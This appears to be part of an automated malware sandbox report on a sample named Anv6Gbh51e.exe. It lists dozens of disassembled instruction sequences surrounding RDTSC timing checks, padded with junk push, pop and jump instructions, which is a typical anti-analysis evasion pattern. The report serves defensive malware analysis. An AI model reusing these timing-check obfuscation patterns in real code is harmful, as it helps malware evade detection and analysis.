Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5DB9C4 second address: 5DB9C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5DBB20 second address: 5DBB24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5DBB24 second address: 5DBB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF670C3B923h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5DCA69 second address: 5DCA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FF67050A376h 0x0000000d jmp 00007FF67050A381h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5DCA87 second address: 5DCA8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5E1D4A second address: 5E1D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5E1D4E second address: 5E1D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5E1D52 second address: 5E1D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF67050A37Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FF67050A380h 0x00000010 pushad 0x00000011 jmp 00007FF67050A37Ah 0x00000016 jnc 00007FF67050A376h 0x0000001c jnc 00007FF67050A376h 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 push ecx 0x00000026 push edi 0x00000027 pop edi 0x00000028 pop ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5E1D94 second address: 5E1D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5E1D98 second address: 5E1D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5EDC83 second address: 5EDC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5EDC87 second address: 5EDC97 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF67050A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5EDC97 second address: 5EDCBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FF670C3B91Ch 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007FF670C3B91Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5EDCBF second address: 5EDCC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5EDCC5 second address: 5EDCDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 jmp 00007FF670C3B91Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5F601E second address: 5F6028 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF67050A37Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5F88D8 second address: 5F88E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007FF670C3B916h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5F88E6 second address: 5F88EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5F88EA second address: 5F88FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FF670C3B91Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5F88FB second address: 5F88FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5F88FF second address: 5F8905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5F8905 second address: 5F8909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5FE497 second address: 5FE4A1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF670C3B916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5FE4A1 second address: 5FE4BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF67050A381h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5FE4BC second address: 5FE4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5FE4C2 second address: 5FE4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 606C50 second address: 606C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 608B93 second address: 608BE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Dh 0x00000007 jmp 00007FF67050A389h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 jmp 00007FF67050A389h 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 608BE1 second address: 608BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 608BE5 second address: 608BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF67050A380h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 611E1E second address: 611E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 611E22 second address: 611E49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FF67050A376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FF67050A381h 0x00000012 pushad 0x00000013 popad 0x00000014 jg 00007FF67050A376h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 611E49 second address: 611E6A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF670C3B918h 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007FF670C3B91Ch 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007FF670C3B916h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610655 second address: 61065D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 61065D second address: 61069E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF670C3B929h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pushad 0x00000011 jmp 00007FF670C3B920h 0x00000016 jnp 00007FF670C3B916h 0x0000001c jc 00007FF670C3B916h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610999 second address: 6109A3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF67050A37Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 6109A3 second address: 6109AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 6109AF second address: 6109B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610B76 second address: 610B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610E5B second address: 610E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FF67050A37Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610E6C second address: 610E78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FF670C3B916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610FE4 second address: 610FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610FEA second address: 610FF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610FF0 second address: 610FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 610FF6 second address: 610FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 611B4B second address: 611B54 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 61497D second address: 61498D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF670C3B91Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 6146B8 second address: 6146BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 6146BE second address: 6146C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 623562 second address: 623566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 623566 second address: 62356A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 625BCF second address: 625BD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 625BD3 second address: 625BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 625BD9 second address: 625C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jmp 00007FF67050A388h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 625C02 second address: 625C07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 61F4E4 second address: 61F4EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 634500 second address: 634504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 649F58 second address: 649F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 649F60 second address: 649F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 64A0C0 second address: 64A0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 64A249 second address: 64A24D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 64A390 second address: 64A3A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF67050A37Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 64A3A3 second address: 64A3B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B91Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 64A973 second address: 64A97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 64DFF8 second address: 64E02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF670C3B916h 0x0000000a jmp 00007FF670C3B91Ah 0x0000000f popad 0x00000010 jmp 00007FF670C3B921h 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 jc 00007FF670C3B916h 0x0000001f pop edi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 64E02D second address: 64E037 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF67050A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 64E037 second address: 64E042 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF670C3B916h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 650943 second address: 650950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FF67050A376h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 650BFC second address: 650C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 650EDC second address: 650EE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 650EE2 second address: 650F07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FF670C3B916h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop eax 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jnp 00007FF670C3B939h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 650F07 second address: 650F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 65239F second address: 6523A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56822E second address: 568234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A908B9 second address: 4A908BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A908BD second address: 4A908C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A908C3 second address: 4A908DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF670C3B925h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A908DC second address: 4A908E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A908E0 second address: 4A9092D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov ebx, eax 0x0000000c pushfd 0x0000000d jmp 00007FF670C3B924h 0x00000012 sbb cx, 95F8h 0x00000017 jmp 00007FF670C3B91Bh 0x0000001c popfd 0x0000001d popad 0x0000001e mov dword ptr [esp], ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FF670C3B925h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A9092D second address: 4A909C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FF67050A37Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007FF67050A381h 0x00000016 mov edi, esi 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FF67050A388h 0x00000021 xor si, 1448h 0x00000026 jmp 00007FF67050A37Bh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007FF67050A388h 0x00000032 xor ch, FFFFFFA8h 0x00000035 jmp 00007FF67050A37Bh 0x0000003a popfd 0x0000003b popad 0x0000003c lea eax, dword ptr [ebp-04h] 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A909C5 second address: 4A909C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A909C9 second address: 4A909E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A909E4 second address: 4A90A0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF670C3B91Fh 0x00000008 pop eax 0x00000009 mov di, 137Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF670C3B91Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90A0D second address: 4A90A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90A1C second address: 4A90A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90A22 second address: 4A90A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90A26 second address: 4A90A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90A9E second address: 4A90AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF67050A381h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90AB3 second address: 4A90AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90AB7 second address: 4A90ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF67050A3D0h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF67050A388h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90B03 second address: 4A90B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90B07 second address: 4A90B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90B0D second address: 4A90B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B91Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90B27 second address: 4A90B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90B2B second address: 4A90B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
